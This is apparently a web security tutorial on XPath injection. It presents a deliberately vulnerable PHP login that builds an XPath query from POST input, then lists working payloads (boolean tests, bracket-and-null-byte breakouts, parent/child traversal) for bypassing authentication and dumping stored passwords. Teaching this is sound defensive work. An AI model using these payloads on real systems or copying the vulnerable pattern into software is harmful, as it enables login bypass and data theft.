Skip to main content

xpath-injection

XPath Injection

XPath, or XML Path Language, is an expression language used to navigate and select nodes within an XML document. It provides a way to address parts of an XML document, such as elements, attributes, and text content, based on their names, positions, or relationships to other nodes.

Similar to SQL Injection, XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that they may not normally have access to. They may even be able to elevate their privileges on the web site if the XML data is being used for authentication (such as an XML based user file).


Vulnerable Code

This code snippet demonstrates a typical vulnerability where data from $_POST is directly embedded into the $query string:

<?php
// An example XML structure for the users
$xmlInput = "<users>" .
"<user><username>admin</username><password>admin@123</password></user>" .
"<user><username>guest</username><password>guest@123</password></user>" .
"</users>";

// User input is taken directly from a POST request
$inputUsername = $_POST['username'];
$inputPassword = $_POST['password'];

$doc = new DOMDocument();
$doc->loadXML($xmlInput);
$xpath = new DOMXPath($doc);

// VULNERABLE LINE: User input is directly concatenated into the query
$query = "//user[username/text()='$inputUsername' and password/text()='$inputPassword']";

$nodes = $xpath->query($query);

if ($nodes->length > 0) {
echo "Authenticated successfully!";
} else {
echo "Authentication Failed.";
}
?>

XPath Injection

When the user input is inserted directly into an XPath expression. XPath works like SQL but for XML: it selects nodes from an XML document. If you can manipulate the XPath query, you can extract data you normally shouldn’t see.

Injecting a single quote triggers an XPath parser error, confirming injection is possible:

Warning: SimpleXMLElement::xpath(): Invalid predicate in /var/www/index.php on line 22
Warning: SimpleXMLElement::xpath(): xmlXPathEval: evaluation failed in /var/www/index.php on line 22
Warning: Variable passed to each() is not an array or object in /var/www/index.php on line 23

Just like SQL, XPath supports boolean logic:

  • ' and '1'='1 → valid, same result
  • ' or '1'='0 → valid, same result
  • ' and '1'='0 → no result
  • ' or '1'='1 → returns all results

From this behavior, we can infer the server’s XPath structure resembles:

[PARENT]/name[.='USER_INPUT']/[CHILD]

To break the query and neutralize the remaining XPath syntax, we use:

  • a closing bracket: ]
  • a null byte (%00) to comment out the rest

Example payloads:

  • hacker']%00
  • hacker' or 1=1]%00 → extract all results

To explore more of the XML structure, we need to move up the document tree. XPath allows this with parent::*.

By selecting the parent and listing all children:

hacker' or 1=1]/parent::*/child::node()%00

We can now see every node under that parent.

To check or verify for any data:

hacker']/parent::*/password%00